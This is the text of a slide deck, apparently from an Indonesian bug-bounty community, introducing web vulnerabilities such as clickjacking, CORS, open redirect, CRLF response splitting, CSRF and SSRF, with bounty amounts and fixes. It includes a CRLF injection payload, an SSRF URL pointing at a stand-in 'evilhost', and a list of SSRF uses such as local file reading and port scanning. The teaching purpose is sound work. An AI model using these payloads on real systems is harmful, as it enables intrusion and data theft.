A Presentation
Basic Web Security
for Bug Hunting
#0byteCircle Chapter 1
https://zerobyte.id/
https://www.facebook.com/idzerobyte
Basic Web Security
I. Introduction
A. HTTP Request & Response?
B. Status Code
II. HTTP Header
A. Header Request => Header Response
B. Cookie & Session
C. Gain BUGs from Header!
1. Cache-Control => Cache Misconfiguration
2. Lack of X-Frame-Options => Clickjacking Issue
3. CORS => CORS Misconfiguration
4. Open Redirect
5. HTTP Response Splitting
III. HTTP Method (GET & POST)
A. Other BUGs via Request
1. Cross-Site Request Forgery (CSRF)
2. Server-Side Request Forgery (SSRF)
???. Others
https://zerobyte.id/
https://www.facebook.com/idzerobyte
I. Introduction
- Oxford Dictionary
https://zerobyte.id/
https://www.facebook.com/idzerobyte
I.A. HTTP Request - Response
https://zerobyte.id/
https://www.facebook.com/idzerobyte
I.B. HTTP Status Code
HTTP </status>
Status Code Category Example
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II. HTTP Header
HTTP Header adalah bagian awal (inti) dari request dan response pada
HTTP, dan HTTP Header membawa informasi tentang response dari Server dan
apa yang di-request oleh Client.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.A. HTTP Header (Request & Response)
Header Header
Request Response
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.B. Cookie & Session
Cookie adalah sebuah data yang dimiliki oleh Client. Pada Web Application
cookie biasanya tersimpan pada HTTP Header.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
Keterangan:
Setelah “logout” kemudian tekan
tombol back pada browser halaman tidak
seperti semula.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
Keterangan:
Setelah “logout” kemudian tekan
tombol back pada browser halaman
me-load cache, sehingga tampil seperti
semula karena tidak adanya proteksi.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
Bounty?
Severity: LOW (Point - $50)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.1. Cache Misconfiguration
How to Fix?
Tambahkan Header
● Cache-Control:
○ no-store (penting!)
○ no-cache
○ must-revalidate
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Contoh website yang menggunakan header X-Frame-Options
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Contoh website yang tidak menggunakan header X-Frame-Options
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Loh (?)
Cuma dimasukin kedalam
<iframe> gitu apa bahayanya?
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Jawabannya: bisa kita lakukan Clickjacking!
Clickjacking adalah sebuah jenis serangan
"session based" namun tidak melewati situs
aslinya, contoh penyerangannya yaitu dengan
cara menyuruh korbannya melakukan "klik"
pada halaman palsu, namun ternyata di
belakang halaman palsu tersebut terdapat
halaman asli (korban tidak mengetahui action
yang sebenarnya).
Tapi!
Tidak semua website yang tidak ada "X-Frame-Options"
itu rentan "Clickjacking"
Clickjacking dapat dilakukan bilamana ada "action" yang
berbahaya.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Clickjacking POC (by Abaykan.com)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Bounty? Severity: Medium-High (Up to $7500)
http://apapedulimu.click
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.2. Lack of X-Frame-Options
Hot to Fix?
Tambahkan header response
- X-Frame-Options
Untuk membatasi penggunaan frame dari luar website.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. Cross-Origin Resource Sharing
Source:
https://medium.com/@arifmukhlis/mencuri-data-pengguna-tokopedia-bug-bounty-52e86fa4c44e
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. CORS Misconfiguration
Bounty?
Severity: Medium (Up to $1000)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.3. CORS Misconfiguration
How to Fix?
Batasi pada
- Access-Control-Allow-Origin
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect
Bounty?
Severity: Medium (Up to $1120)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.4. Open-Redirect
How to Fix?
Perbaiki parsing untuk redirection dengan sebaik mungkin supaya
hanya redirect ke situs terkait saja.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
\r %0d CR
\n %0a LF
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
Example :
https://vulnweb.com/redirect=hello%0D%0Ahell:%20world
* Request:
> GET /redirect=hello%0D%0Ahell:%20world HTTP/1.1
> Host: vulnweb.com
> User-Agent: Mozilla/5.0 (Linux; Android 7.1.2)
> Accept: */*
* Response:
< HTTP/1.1 301 Moved Permanently
< Location: /hello
< hell: world
< Content-Type: text/html;
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
Bounty?
Severity: HIGH (Up to $2500)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
II.C.5. HTTP Response Splitting
How to Fix?
- Encode character CRLF
- Update web-server dengan versi terbaru (Apache, Nginx, DLL)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method
Contohnya:
● Login akun yang membutuhkan validasi pada Backend
● Pencarian pada website dimana backend mengambil data artikel
pada database
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method
HTTP Method GET vs POST
> GET /?cari=Buku HTTP/1.1 > POST /login.php HTTP/1.1
> Host: google.com > Host: google.com
> User-Agent: Mozilla/5.0 (Linux) > User-Agent: Mozilla/5.0 (Linux)
> Accept: */* > Accept: */*
user=admin&pass=12345
Method Description
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III. HTTP Request Method
acunetix.com
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack (Schema)
on
e ssi
S
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
Yaelah!
Itu mah mainan lama.
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
● CSRF Attack dapat dilakukan bilamana terdapat suatu form yang tidak
memiliki Request Token
● Token tersebut berguna untuk validasi suatu request (1 token biasanya
dapat digunakan untuk 1 kali request)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.1. CSRF Attack
Bounty?
Severity: Medium (Up to $500)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack
http://hek.0xff.web.id
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack (example)
Browser: http://servervictim.com/open?src=http://evilhost:1337/SSRF
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack
SSRF dapat dimanfaatkan untuk:
● General:
○ Mendapatkan Real IP (bilamana menggunakan DNS masking
seperti Cloudflare)
○ Proxy (Request)
○ Mendapatkan versi Aplikasi Internal (beberapa kasus)
● Server-Side Injection:
○ Read Local File
○ Local Port Scanning
○ Pemanfaatan Service Internal (MySQL, SMTP, dll)
○ Remote Code Execution (beberapa kasus)
○ Dan lain-lain
https://zerobyte.id/
https://www.facebook.com/idzerobyte
III.A.2. SSRF Attack
Bounty?
Severity: Medium-Critical (Up to $25000)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Tambahan Tentang Bug Bounty
OTHER
https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Other Vulnerability
Kalian dapat lihat list Vulnerability untuk Bug Bounty pada link berikut ini:
https://bugcrowd.com/vulnerability-rating-taxonomy/1.7
https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Bug Bounty Tools
Usability Tools
https://zerobyte.id/
https://www.facebook.com/idzerobyte
???. Bug Bounty Platform
● https://www.cyberarmy.id/ (Indonesia)
● https://www.redstorm.io/ (Indonesia)
● https://www.antihack.me/ (Singapore)
● https://www.bugcrowd.com/ (World-wide)
● https://www.hackerone.com/ (World-wide)
● https://www.openbugbounty.org/ (World-wide)
https://zerobyte.id/
https://www.facebook.com/idzerobyte
#EOF
THANK
YOU!
https://zerobyte.id/
https://www.facebook.com/idzerobyte